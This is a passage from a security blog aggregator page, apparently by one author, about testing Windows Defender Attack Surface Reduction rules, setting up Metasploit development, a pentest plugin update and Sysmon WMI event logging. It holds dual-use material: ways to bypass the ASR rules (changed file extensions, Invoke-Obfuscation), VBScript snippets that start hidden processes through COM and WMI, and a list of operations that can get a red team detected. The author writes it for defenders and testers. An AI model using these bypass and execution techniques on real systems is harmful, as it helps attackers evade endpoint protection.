Once the macro executes the creation of the VBS script is blocked and the action is logged. 

This rule blocks based on file extension. By changing the extension we are able to bypass the rule. When the rule is used with the child process creation rule it can mitigate the creation of a file with a none blocked extension than then is launched by an interpreter. 


The ASR rules for Office when combined with each other and with the existing policies for blocking macros limiting access and use to a selected group that need the function mitigates very well the exposure. The rules are not perfect since they can be bypassed but no control in it of it self is infallible. Like any control to mitigate attacks having knowledge of how they can be bypass allows for the building of a layered approached that can alert on malicious behavior.  This is why I preferred to look at all this specific rules together. 

As always I hope you find the information in the blog post useful.


Read Full Article
Visit website
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

On this blog post I will cover my testing of the Attack Surface Reduction rule for Potentially Obfuscated Scripts. This is one of the features that intrigued me the most. One obfuscates the scripts for several reasons:

  • Bypass detection controls like AV, automatic log analysis and other controls. 
  • Hinder analysis of the script to determine its purpose and action. 

On the offense side it is a requirement given how more tools are improving their detection the obfuscation allows to bypass them but also has the drawback of bringing attention to the code since it will look out of place. By detecting obfuscation and blocking its execution it would impact the capabilities of some actors limiting the tool-set they can use. 

Microsoft describes the rule as follows in their documentation:

Rule: Block execution of potentially obfuscated scripts

Malware and other threats can attempt to obfuscate or hide their malicious code in some script files.
This rule prevents scripts that appear to be obfuscated from running.
It uses the AntiMalwareScanInterface (AMSI) to determine if a script is potentially obfuscated, and then blocks such a script, or blocks scripts when an attempt is made to access them.

Based on the description the rule is meant to block potentially obfuscated scripts. To test this I will use the "Windows Defender Exploit Guard evaluation package" tool to see how Microsoft is testing the rule. 

I launch the tool, select the rule for script obfuscation and  select the setting to be Audit. I run the scenario the scenario twice.  

In Advanced Settings I select the option of "Leave Dirty" so I can take a look at the files it used for the test.

The PowerShell script that it used for testing did not looked obfuscated at all .

The Jscript did looked like it had an offuscated string that it never used and it then launched notpad.exe using a none obfuscated wscript.shell call. 

I enabled using the PowerShell cmdlet the rule for obfuscated scripts.

Add-MpPreference -AttackSurfaceReductionRules_Ids 5BEB7EFE-FD9A-4556-801D-275E5FFC04CC -AttackSurfaceReductionRules_Actions Enabled

I will test first how well it detects obfuscated PowerShell script. First test is a control one, I will run the same script that MS provides for testing. 

We can see it was blocked. It states it was for the PowerSploit cmdlet name. In the event log the event has an ID of 1121 like all ASR rules, the rule is specified in the EventData section of the event and it shows that was the script that was blocked. 

I decided to build my own script and have the PowerSploit command in it, I decided to use Daniel Bohannon Invoke-Obfuscation module to obfuscate the script to see how well it works. 

Write-Host 'Getting system info'
Get-WmiObject -Class "win32_operatingsystem"
Write-Host 'Starting a process'
Start-Process 'notepad.exe'
invoke-reflectivepeinjection -pebytes

I saved the script on the target machine with no obfuscation. As soon as I saved it was caught and blocked by the ASR rule. I did not even needed to run script. 

First method of obfuscation I uses was the string concatination technique in the tool. 

I ran the script and it executed with no problems to my surprise.

Next I obfuscated the script with the reorder technique 

Ran the script again and to my surprised it executed without any problems. The rule is not catching at all the obfuscated script.

For PowerShell the ASR rule provided in my testing no detection of any obfuscated script.

For JS I ran it's own copy of the obfuscated JS and it triggered. Once I removed the none obfuscated section that launched notepad.exe it was not being blocked. 

Sadly I do not have a tool to obfuscate Jscript reliably but there are many for VBScript. I will use the Scripting.Encoder COM object to encode a script that launches notepad.exe to see if it gets detected. 

Dim obj0
Set obj0 = CreateObject("Wscript.Shell")
obj0.Run "notepad.exe"

Once encoded it looks like

#@~^TgAAAA==9b:~K4N!@#@&?OPK4%!,'~/M+lDnr(L+1OcJq/1DrwO UtnV^E#@#@&G8N!R]; PExKOwC9R6+r5hcAAA==^#~@ 

Next I tried obfuscation instead of encoding by using a free online obfuscation tool https://isvbscriptdead.com/vbs-obfuscator/.


Again the script executed without any issues.

I have to admit I'm very disappointed with this ASR mitigation. I was hopping it would behave like Daniel Bohannon and Lee Holmes tool Revoke-Obfuscation that detects obfuscated scripts with great accuracy.   

I would recommend to not rely on this rule and hopefully Microsoft will improve on it making it  trully valuable mitigation. 

Read Full Article
Visit website
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

Microsoft has been adding to Windows 10 the features of the Enhanced Mitigation Experience Toolkit (EMET) in to the OS. On the 1709 release they added more features and expanded on them as part of Windows Defender Exploit Guard One of the features of great interest for me is Attack Surface Reduction. I have used this feature in EMET with great success as a mitigation to many techniques that abuse built in functionality in Windows. One of the rules of great interest to me is the "Block JavaScript or VBScript from launching downloaded executable content" rule. With the greater visibility now in Windows PowerShell many of us as going back to the old and tested Windows Scripting Host languages and old techniques that have worked for so long. 

The description of the rule as per Microsoft documentations says:

Rule: Block JavaScript ok VBScript From launching downloaded executable content

JavaScript and VBScript scripts can be used by malware to launch other malicious apps.
This rule prevents these scripts from being allowed to launch apps, thus preventing malicious use of the scripts to spread malware and infect machines.

The Rule title mentions to prevent the execution of a downloaded executable. The description mentions the prevention of Javascript and VBScript running applications. So we have 2 different scenarios there. 

The rule can be controlled via GPO, PowerShell cmdlets or via MDM (Mobile Device Management). For the purpose of this blog post I will use the PowerShell cmdlet. I will start by looking at the current setting for the rule using the Get-MpPreference cmdlet. The ASR information is in 2 properties one has the rule GUIDs and the other in order their setting. 

PS C:\Windows\system32> Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids
PS C:\Windows\system32> Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Actions

The Rule GUIDs are as follows:

  • BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550 - Block executable content from email client and webmail
  • D4F940AB-401B-4EFC-AADC-AD5F3C50688A - Block Office applications from creating child processes
  • 3B576869-A4EC-4529-8536-B80A7769E899 - Block Office applications from creating executable content
  • 75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84 - Block Office applications from injecting code into other processes
  • D3E037E1-3EB8-44C8-A917-57927947596D - Block JavaScript or VBScript from launching downloaded executable content
  • 5BEB7EFE-FD9A-4556-801D-275E5FFC04CC - Block execution of potentially obfuscated scripts
  • 92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B - Block Win32 API calls from Office macro

The setting for each are:

  • 0 - Disabled
  • 1 - Enabled (Blocking)
  • 2 - Audit Mode

Not the most useful way to show this details. This would be better handled by a ASR specific cmdlet that showed each rule and its information as its own object instead of lumping all the settings in to a single cmdlet with GUIDs that need one to reference a table in docs to match what they do. 

I want to test a collection of execution methods one can do with VBScript:

Dim obj0
Set obj0 = CreateObject("Wscript.Shell")
obj0.Run "powershell.exe", 0

Dim obj1
Set obj1 = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
obj1.Run "powershell.exe", 0

'Operation paramter supports an undocumented option called runas that will ask the user permission
'to elevate via UAC if enabled.
Dim obj2
Set obj2 = CreateObject("Shell.Application")
obj2.ShellExecute "PowerShell.exe","","","runas",0

Dim obj3
Set obj3 = GetObject("new:13709620-C279-11CE-A49E-444553540000")
obj3.ShellExecute "PowerShell.exe","","","runas",0

'requires to run in a high priviledge. Shell.Application with RunAs could be use.
Set objMMC = CreateObject("MMC20.Application")
Set objDoc = objMMC.Document.ActiveView
objDoc.ExecuteShellCommand "powershell.exe","","",7

Set objMMC1 = CreateObject("new:49B2791A-B1AE-4C90-9B8E-E860BA07F889")
Set objDoc1 = objMMC1.Document.ActiveView
objDoc1.ExecuteShellCommand "powershell.exe","","",7

'Using WMI Win32_Process
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = 0
set process = GetObject("winmgmts:Win32_Process")
result = process.Create ("powershell.exe",null,objConfig,processid)

' Short WMi Method with win32_process
set process = GetObject("winmgmts:Win32_Process")
set startup = GetObject("winmgmts:Win32_ProcessStartup")
startup.ShowWindow = 0
process.Create "notepad.exe",null,startup,processid

Each one uses the COM object and also has a reference to the GUID of the COM. I found out via long hours of testing that ASR will not block or audit any of this execution methods by themselves but that the script must perform a request. 

There are multiple ways to perform a request using VBScript/Jscript. We can leverage any of the COM objects in the table bellow.  

The Windows Defender Exploit Guard evaluation package Uses the following scripts to test settings:


// SCPT:xmlHttpRequest
var xmlHttp = WScript.CreateObject("MSXML2.XMLHTTP");
xmlHttp.open("GET", "https://www.bing.com", false);

// SCPT:JSRunsFile
var shell = WScript.CreateObject("WScript.Shell");


' SCPT:xmlHttpRequest
set xmlHttp = CreateObject("MSXML2.XMLHTTP")
xmlHttp.Open "GET", "https://www.bing.com", False

' SCPT:JSRunsFile
set shell = CreateObject("WScript.Shell")

If we remove any of the 2 components the script will not be blocked. 

Lets configure the ASR rule for blocking using the Add0MpPreference cmdlet by providing the rule GUID and the Action for it.

Add-MpPreference -AttackSurfaceReductionRules_Ids D3E037E1-3EB8-44C8-A917-57927947596D -AttackSurfaceReductionRules_Actions Enabled

Once that is set we should see an entry in the eventlog indicating that the settings of Windows Defender where modified. The event Id should 5007 and it the data is structured so as to make it easy to parse

The vent will include the old and new value information. 

When a script is ran and blocked it is logged under Event Id 1121 and under EventData the ID attribute will reference the ASR rule GUID

For testing I tested each of the execution methods and tested each as a standard VBS/Js script, HTA and as a Scriptlet using the MS2XML COM object for the download segment. 

If we look at the COM objects we can use as the download part of a cradle the results are bellow:

We now know as of the version tested that we have some ways to bypass the rules. Would not be surprised if Microsoft updated the engine to also catch these.  I did try to also encode the scripts but those that where caught where still caught after being encoded. 

One thing I noticed during testing is that when a HTA and a Scriptlet (SCT) was blocked the path to the script was empty. Thankfully the event also includes the Process ID that can be used to match what process was using the specified engine when it was blocked as you can see bellow.

Do remember that Process ID numbers are re-used so the time stamp is of great value in the correlation.


The solution covers some techniques an attacker/Red Team may use but it does not cover all, the fact that both download and execution have to be in the same script is a limiting factor of the ASR rule since some other program may have placed a file on disk or the script may simply execute PowerShell with the payload in the command line. Both red and blue teams should set some automated way to test the rules as Microsoft releases new versions so as to keep they playbooks updated. Blue should work on XPath filters for the rule ID and EventID to aid in their threat hunting action, like the filter bellow to find all actions for blocked events for this specific rule.

    LogName='Microsoft-Windows-Windows Defender/Operational'
Get-WinEvent -FilterHashtable $filter 

Blue should start by setting the rule in audit mode, collect logs and build a whitelist if false positives are experienced and then build exclusions for those. 

As always I hope you found the blog post useful.

Read Full Article
Visit website
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

If you have setup a development environment with RVM to do development in Metasploit Framework you are bound to encounter that the Metasploit team has changed preferred Ruby versions.

carlos@ubuntu:/opt$ cd metasploit-framework/
ruby-2.4.2 is not installed.
To install do: 'rvm install ruby-2.4.2'

You get a useful message that mentions the RVM command you need to run to install the new version but there is a bit more to do to fully migrate to the new version. Lets stat installing the new version of Ruby by running the command specified when we switched to the folder rvm install 2.4.2:

$ rvm install 2.4.2

Now that the new version is installed lets migrate gemsets. In my case I set the gemset in RVM to the one recommended by the Metasploit dev team, with the metasploit-framework name. The name tag allows me to migrate one gemset from one version of Ruby to the other using the gemset copy command:

$ rvm gemset copy ruby-2.4.1@metasploit-framework ruby-2.4.2@metasploit-framework

Now that we migrated the gemsets I make the new Ruby and gemset the default for my console.

$ rvm --default use ruby-2.4.2@metasploit-framework

I can quickly test to see I have the correct version of Ruby:

$ ruby -v
ruby 2.4.2p198 (2017-09-14 revision 59899) [x86_64-linux]
$ rvm list

rvm rubies

   ruby-2.4.1 [ x86_64 ]
=* ruby-2.4.2 [ x86_64 ]

# => - current
# =* - current && default
#  * - default

I can also check the gemset is the correct one and set as default:

$ rvm gemset list

gemsets for ruby-2.4.2 (found in /home/carlos/.rvm/gems/ruby-2.4.2)
=> metasploit-framework

Once that is done I will generate the ri documentation. I find it very useful specially when I'm traveling or in any other environment without internet access where I can not do a simple Google search. 

$ rvm docs generate-ri

Once done I can test that the documentation was generated by looking at the help information for the Array object and for the method each for the object. 

$ ri Array
$ ri Array#each

I hope those of you getting started with coding against Metasploit Framewok find this information useful.

Read Full Article
Visit website
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

Those of you who have taken my "Automating Metasploit Framework" class all this material should not be new. I have decided to start making a large portion of the class available here in the blog as a series. 

On this post I will cover the basics of setting up IRB so we can start exploring in a general sense the Metasploit Framework API. The API is extensive and sadly it would take quite a bit of time over it all, in the series I will covers the basic API calls and provide enough knowledge so you can continue learning the rest on your own or as needed. 

For this you need to be running a development environment. The Metasploit team has documentation on how to setup one https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment 

If you are new to Ruby or come from another language and are learning the syntax here is a Ruby Primer.

What is IRB

IRB is the Interactive Ruby Shell, a REPL (Read -> Eval -> Print Loop) that will allow us to to interact with the Framework in real time allowing us to test and validate ideas quickly. One big advantage of the Metasploit Framework is that we can run IRB from inside msfconsole it self. When invoked from inside msfconsole we are running from the context of the loaded instance of the framework with access to all of the instances of objects inside and libraries. 

To test IRB you can just launch msfconsole and run the irb ruby statements and see the output they generate:

carlos@ubuntu:~$ msfconsole -q
msf > irb
[*] Starting IRB shell...

>> 1 +2
=> 3
>> print_status("hello world")
[*] hello world
=> nil

To exit from irb and fo back to the msfconsole one simply needs to type exit

>> exit
msf > 
IRB Basics

Lets cover some basic usage of IRB before we go in to extending it. You may find your self SSH or at the console of a server where you have not been able to tune IRB to you liking so having knowledge on some basic concepts in using IRB should be of value.  The following are tips on what I have found useful in helping me understand and explore the ever changing Metasploit Framework when I work form IRB.

Everything in Ruby is an object and the type of object will dictate what we can do with it. We can look at what type an object is by calling the Class attribute. 

>> "This is text".class
=> String
>> 1.class
=> Integer
>> framework.class
=> Msf::Framework
>> framework.db.class
=> Msf::DBManager

Like with any object in Ruby each object will have Methods and Attributes (Properties). Every Attribute of a ruby object is accessed and set via methods. We can take a look at the methods we have available by calling Object.methods

>> framework.methods
=> [:load_config, :on_module_created, :stats, :cache_thread, :cache_thread=, :cache_initialized, :cache_initialized=, :save_config, :init_simplified, :stats=, :on_module_run, :on_module_complete, :on_module_error, :on_module_load, :init_module_paths, :inspect, :options, :version, :plugins, :post, :search, :modules, :datastore, :nops, :encoders, :payloads, :options=, :modules=, :threads, :sessions, :jobs, :db, :events, :events=, :datastore=, :jobs=, :plugins=, :uuid_db, :uuid_db=, :browser_profiles, :browser_profiles=, :exploits, :auxiliary, :auxmgr, :threads?, :auxmgr=, :db=, :synchronize, :mon_try_enter, :try_mon_enter, :mon_enter, :mon_exit, :mon_synchronize, :new_cond, :`, :to_yaml, :to_yaml_properties, :to_json, :psych_to_yaml, :blank?, :present?, :try, :as_json, :presence, :acts_like?, :to_param, :to_query, :try!, :duplicable?, :to_json_with_active_support_encoder, :to_json_without_active_support_encoder, :instance_values, :instance_variable_names, :html_safe?, :deep_dup, :in?, :presence_in, :with_options, :dclone, :old_send, :encode_length, :decode_sequence, :assert_no_remainder, :decode_octet_string, :decode_integer, :decode_tlv, :encode_integer, :encode_octet_string, :encode_sequence, :encode_tlv, :decode_object_id, :decode_ip_address, :decode_timeticks, :build_integer, :decode_integer_value, :decode_uinteger_value, :decode_object_id_value, :integer_to_octets, :encode_tagged_integer, :encode_null, :encode_exception, :encode_object_id, :unloadable, :require_or_load, :require_dependency, :load_dependency, :pretty_print, :pretty_print_cycle, :pretty_print_instance_variables, :pretty_print_inspect, :instance_of?, :public_send, :instance_variable_get, :instance_variable_set, :instance_variable_defined?, :remove_instance_variable, :private_methods, :kind_of?, :instance_variables, :tap, :method, :public_method, :singleton_method, :class_eval, :is_a?, :extend, :pretty_inspect, :require_with_backports, :define_singleton_method, :to_enum, :enum_for, :select, :concern, :<=>, :sleep, :===, :=~, :!~, :suppress_warnings, :eql?, :respond_to?, :freeze, :display, :object_id, :send, :gem, :silence, :silence_warnings, :to_s, :enable_warnings, :with_warnings, :silence_stderr, :silence_stream, :suppress, :capture, :quietly, :nil?, :hash, :class, :singleton_class, :clone, :dup, :itself, :taint, :tainted?, :untaint, :untrust, :trust, :untrusted?, :methods, :protected_methods, :frozen?, :public_methods, :singleton_methods, :!, :==, :!=, :__send__, :equal?, :instance_eval, :instance_exec, :__id__]

We get both the instance methods and the inherited methods on the object. We can look through the methods for those whose name contain a string by using the grep(<regex>) method 

>> framework.methods.grep(/module/)
=> [:on_module_created, :on_module_run, :on_module_complete, :on_module_error, :on_module_load, :init_module_paths, :modules, :modules=]

We get a list of the methods but we are not able to tell what parameters a method may take. To look at method number of parameters we can do Object.method(<method>).arity to look at the parameters we simply change the call to parameters Object.method(<method>).parameters

>> framework.db.method(:add_workspace).arity
=> 1
>> framework.db.method(:add_workspace).parameters
=> [[:req, :name]]

You may wonder why if we see 1 parameter why does the output show an array with a sub array with 2 values. The sub array refers to the parameter where the first param represent the type and the second the name. The types are:

  • req - required argument
  • opt - optional argument
  • rest - rest of arguments as array
  • keyreq - reguired key argument (2.1+)
  • key - key argument
  • keyrest - rest of key arguments as Hash
  • block - block parameter

Sometimes we want to look at the source code of the definition of the method. We can get a better understanding from the source and also we can read comments to get an even better understanding of the function of the method. Looking at the method we only need to look at the source_location method to get the file and its full path.

>> framework.db.method(:add_workspace).source_location
=> ["/opt/metasploit-framework/lib/msf/core/db_manager/workspace.rb", 5]
Configuring IRB

IRB is very useful but we can make it better by using several Ruby Gems and specifying some configuration parameters. There are several Gems that I use when working in IRB specifically with the Metasploit Framework. The following are the Gems I recommend to start with and that with experience you can change for others and tweak their settings. 

  • Wirble - very old gem for adding color to the terminal output among other things. There are newer ports and better gems for this but I have had bad luck getting them to work inside of MSF. This one even if old still gets the job done. 
  • awesome_print - prints in a easier to parse output visually an object. 
  • Code - Lets me look at the code of a object or a method of an object. 

Installing this gems is simple with the gem command:

$ gem install awesome_print wirble code

Once installed I need to allow Metasploit Framework to load them since they are not in the Gemset of the project and I can not add them to the Gemset file since msfupdate will replace the file. To allow this in the project folder we need to create a Gemfile.local file loading the current project gems and our additional gems.

# Include the Gemfile included with the framework. This is very
# important for picking up new gem dependencies.
msf_gemfile = File.join(File.dirname(__FILE__), 'Gemfile')
if File.readable?(msf_gemfile)

# Create a custom group
group :local do
  gem 'wirble'
  gem 'awesome_print'
  gem 'code'
  gem 'core_docs'

Now we need to create a .irbrc in our home folder in Linux or Mac OS to load out settings automatically when IRB is loaded. 

# Print message to show that irbrc loaded.
puts '~/.irbrc has been loaded.'

# Load wirb to colorize the console
require 'wirble'

# Load awesome_print.
require 'ap'

# Load the Code gem 
require 'code'

# Remove the annoying irb(main):001:0 and replace with >>

# Tab Completion
require 'irb/completion'

# Automatic Indentation

# Save History between irb sessions
require 'irb/ext/save-history'
IRB.conf[:SAVE_HISTORY] = 100
IRB.conf[:HISTORY_FILE] = "#{ENV['HOME']}/.irb-save-history"

# get all the methods for an object that aren't basic methods from Object
class Object
  def local_methods
    return (methods - Object.instance_methods)

Once Wirble is loaded and initialized the output of my console will be of a different color for different elements making it easier to look at. 

With awesome print I can have a even better view of an object and the output is colorized.

I set up IRB so it will indent and allow for tab complete, do be careful MSF is such a big project that tab complete for some stuff may hand and you may have to Crtl-C to stop it. I also have a function that shows me only the local methods so the list I have to go through is much shorter by removing all the inherited methods. 

>> framework.db.methods.count
=> 397
>> framework.db.local_methods.count
=> 261

The code gem will allow me to look at the code of a method to better understand it for a given object. 

I hope you have found this information useful. In the next series of post I will cover general APIs that should be of value when writing modules, plugins or automating the framework. 

Read Full Article
Visit website
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

I recently update my Metasploit Pentest Plugin . I added 2 new commands to the plugin and fixed issues when printing information as a table. The update are small ones.

Lets take a look at the changes for the plugin. We can start by loading the plugin in a Metasploit Framework session.

msf > load pentest 

       ___         _          _     ___ _           _
      | _ \___ _ _| |_ ___ __| |_  | _ \ |_  _ __ _(_)_ _
      |  _/ -_) ' \  _/ -_|_-<  _| |  _/ | || / _` | | ' \ 
      |_| \___|_||_\__\___/__/\__| |_| |_|\_,_\__, |_|_||_|
Version 1.5
Pentest plugin loaded.
by Carlos Perez (carlos_perez[at]darkoperator.com)
[*] Successfully loaded plugin: pentest
msf > 

The first update is so we can get a list of IP Addresses you can use for LHOST. 

msf > get_lhost 
[*] Local host IP addresses:

The code is very simple. It gets a list of IP addresses from the interfaces on the host and it filters out the loopback address for IPv4 and the IPv6 Link Local address.  

    def cmd_get_lhost(*args)

      opts = Rex::Parser::Arguments.new(
        "-h"   => [ false,  "Command help."]
      opts.parse(args) do |opt, idx, val|
        case opt
        when "-h"
          print_line("Command for listing local IP Addresses that can be used with LHOST.")

      print_status("Local host IP addresses:")
      Socket.ip_address_list.each do |a|
        if !(a.ipv4_loopback?()|a.ipv6_linklocal?()|a.ipv6_loopback?())

Those who have heard me talk in the podcast, listened to my presentation or taken any of my classes know I like proper tradecraft and a deep understanding of one tools. I added a command called check_footprint, the command will check you module for a list of API calls in post modules to check if the module may expose your action.

msf > check_footprint -h


    -h        Command Help.
    -m <opt>  Module to check.

The -m option allows you to specify a post module or exploit persistence module, it supports tab complete for the full name of the module. Once specified it will check the module source code and it will let you know if uses API calls that may be logged by a defender. If you are under the context of a module you can run the command without specifying the module name and it will examine the current module you are under. 

In the case that the module supports Shell type sessions it will warn you that all actions will be command line tools and actions may be logged. 

The list of APIs is a simple one that can be extended. Here is the hashtable I use of APIs and the description of what possible negative footprint they will have on the target.

footprint_generators = {
          'cmd_exec' => 'This module will create a process that can be logged.',
          '<client|session>.sys.process.execute' => 'This module will create a process that can be logged.',
          'run_cmd' => 'This module will create a process that can be logged.',
          'check_osql' => 'This module will create a osql.exe process that can be logged.',
          'check_sqlcmd' => 'This module will create a sqlcmd.exe process that can be logged.',
          'wmic_query' => 'This module will create a wmic.exe process that can be logged.',
          'get_whoami' => 'This module will create a whoami.exe process that can be logged.',
          "service_create" => 'This module manipulates a service in a way that can be logged',
          "service_start" => 'This module manipulates a service in a way that can be logged',
          "service_change_config" => 'This module manipulates a service in a way that can be logged',
          "service_change_startup" => 'This module manipulates a service in a way that can be logged',
          "get_vss_device" => 'This module will create a wmic.exe process that can be logged.',
          "vss_list" => 'This module will create a wmic.exe process that can be logged.',
          "vss_get_ids" => 'This module will create a wmic.exe process that can be logged.',
          "vss_get_storage" => 'This module will create a wmic.exe process that can be logged.',
          "get_sc_details" => 'This module will create a wmic.exe process that can be logged.',
          "get_sc_param" => 'This module will create a wmic.exe process that can be logged.',
          "vss_get_storage_param" => 'This module will create a wmic.exe process that can be logged.',
          "vss_set_storage" => 'This module will create a wmic.exe process that can be logged.',
          "create_shadowcopy" => 'This module will create a wmic.exe process that can be logged.',
          "start_vss" => 'This module will create a wmic.exe process that can be logged.',
          "start_swprv" => 'This module manipulates a service in a way that can be logged',
          "execute_shellcode" => 'This module will create a thread that can be detected (Sysmon).',
          "is_in_admin_group" => 'This module will create a whoami.exe process that can be logged.',
          "upload_file" => 'This module uploads a file on to the target, AVs will examine the file and action may be logged if folder is audited.',
          "file_local_write" => 'This module writes to a file or may create one, action may be logged if folder is audited or examined by AV.',
          "write_file" => 'This module writes to a file or may create one, action may be logged if folder is audited or examined by AV.',
          "append_file" => 'This module writes to a file or may create one, action may be logged if folder is audited or examined by AV.',
          "rename_file" => 'This module renames a file or may create one, action may be logged if folder is audited or examined by AV.'

I do plan on expanding the list and descriptions as time passes.

I hope you find these small changes also and that the check_footprint command makes you take in to consideration what actions modules are taking when executed that depending on the security posture of a target could get you detected if you are a Red Teamer. If you are in a Blue Team this may help you fine tune your detections and give you ideas of what behaviours to look for.   

Read Full Article
Visit website
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

In my previous blog post I covered how Microsoft has enhanced WMI logging in the latest versions of their client and server operating systems. WMI Permanent event logging was also added in version 6.10 specific events for logging permanent event actions. The new events are:

  • Event ID 19: WmiEvent (WmiEventFilter activity detected). When a WMI event filter is registered, which is a method used by malware to execute, this event logs the WMI namespace, filter name and filter expression.
  • Event ID 20: WmiEvent (WmiEventConsumer activity detected). This event logs the registration of WMI consumers, recording the consumer name, log, and destination.
  • Event ID 21: WmiEvent (WmiEventConsumerToFilter activity detected). When a consumer binds to a filter, this event logs the consumer name and filter path

In version 6.10 it tracks the creation and deletion of __EventFilter Class, Any Consumer Type Class and __FilterToConsumerBinding Class. 

For looking at the events it captures lest create a sample configuration file that will log WMI Events. The configuration file is the following:

<Sysmon schemaversion="3.4">
 <WmiEvent onmatch='exclude'>

We can save this file as test.xml and apply it by running sysmon -c .\test.xml from a cmd or PowerShell console running as administrator. When we run sysmon -c to list the configuration we should see something like this:

System Monitor v6.10 - System activity monitor
Copyright (C) 2014-2017 Mark Russinovich and Thomas Garnier
Sysinternals - www.sysinternals.com

Current configuration:
 - Service name:                  Sysmon
 - Driver name:                   SysmonDrv
 - HashingAlgorithms:             SHA256
 - Network connection:            disabled
 - Image loading:                 disabled
 - CRL checking:                  disabled
 - Process Access:                disabled

Rule configuration (version 3.40):
 - WmiEvent                           onmatch: exclude
 - WmiEvent                           onmatch: exclude
 - WmiEvent                           onmatch: exclude

We will use Windows PowerShell to create a permanent event that will track service changes in state in to a text file. 

We start by creating a __EventFilter that will check for a modification of the Win32_Service class every 5 seconds. 

#Creating a new event filter
$ServiceFilter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()

# Set the properties of the instance
$ServiceFilter.QueryLanguage = 'WQL'
$ServiceFilter.Query = "select * from __instanceModificationEvent within 5 where targetInstance isa 'win32_Service'"
$ServiceFilter.Name = "ServiceFilter"
$ServiceFilter.EventNamespace = 'root\cimv2'

# Sets the intance in the namespace
$FilterResult = $ServiceFilter.Put()
$ServiceFilterObj = $FilterResult.Path

Once the event is created we see that a Event 19 is create and under EventData we wee a Data element where the Operation attribute says Created. 

Since I know that some APT groups associated to state actors are known not modify existing permanent events to blend in target environments I decided to test modifying the current filter Query to see if it logged the action with the following actions in the PowerShell window: 

$ServiceFilter.Query = "select DisplayName from __instanceModificationEvent within 5 where targetInstance isa 'win32_Service'"
$FilterResult = $ServiceFilter.Put()

The creation was logged under Event Id 19. We can see that under Operation it is blank now, this means there is no logic in 6.10 to track modification but it still logs an action we can filter and trigger on. I informed one of the developers at Microsoft about this and they will address this in the next release of Sysmon for all log types. 

Lets create now a consumer that will create a log file on the C:\ drive with the following Windows PowerShell Code in the existing window where we created the filter. 

#Creating a new event consumer
$LogConsumer = ([wmiclass]"\\.\root\subscription:LogFileEventConsumer").CreateInstance()

# Set properties of consumer
$LogConsumer.Name = 'ServiceConsumer'
$LogConsumer.Filename = "C:\Log.log"
$LogConsumer.Text = 'A change has occurred on the service: %TargetInstance.DisplayName%'

# Sets the intance in the namespace
$LogResult = $LogConsumer.Put()
$LogConsumerObj = $LogResult.Path

We can see the LogFileEventConsumer creation was logged with Event Id 20 and all properties of it where parsed under EventData Element of the log structure.

Lets create a __FilterToConsumerBinding class instance using the __EventFilter and the LogFileEventConsumer class instance we created earlier. 

# Creating new binder
$instanceBinding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()

$instanceBinding.Filter = $ServiceFilterObj
$instanceBinding.Consumer = $LogConsumerObj
$result = $instanceBinding.Put()
$newBinding = $result.Path

The action is logged with Event Id 21 and that the Filter and Consumer paths in the CIM Database are included under EventData. 


In conclusion I can say that the logging in Sysmon expands on what we can already log in the newer versions of Windows and it provides better consistency and insight on Permanents type events and their components that the current Windows logging does not. It does not over temporary events, providers or query errors but it is a great start. I would recommend to simply enable logging of all events associated with WMI permanent events and to not filter in the configuration file since their creation is not common on aday to day operation and their modification is very rare so the simple presence of the events is enough to warrant a look in a production environment. 

Read Full Article
Visit website

Read for later

Articles marked as Favorite are saved for later viewing.
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

Separate tags by commas
To access this feature, please upgrade your account.
Start your free month
Free Preview